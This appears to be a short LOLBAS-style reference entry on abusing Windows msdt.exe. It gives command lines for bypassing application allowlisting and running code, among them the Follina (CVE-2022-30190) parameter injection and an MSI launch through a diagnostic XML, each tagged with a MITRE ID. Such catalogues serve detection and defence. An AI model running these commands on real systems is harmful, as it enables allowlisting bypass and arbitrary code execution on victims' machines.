Msdt.exe

Microsoft diagnostics tool

AWL Bypass

Execute code bypass Application whitelisting

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. — MITRE: T1218 — Privileges: User

Execute code bypass Application allowlisting

msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"

Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update. — MITRE: T1202 — Privileges: User

Execute

Execute code

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. — MITRE: T1218 — Privileges: User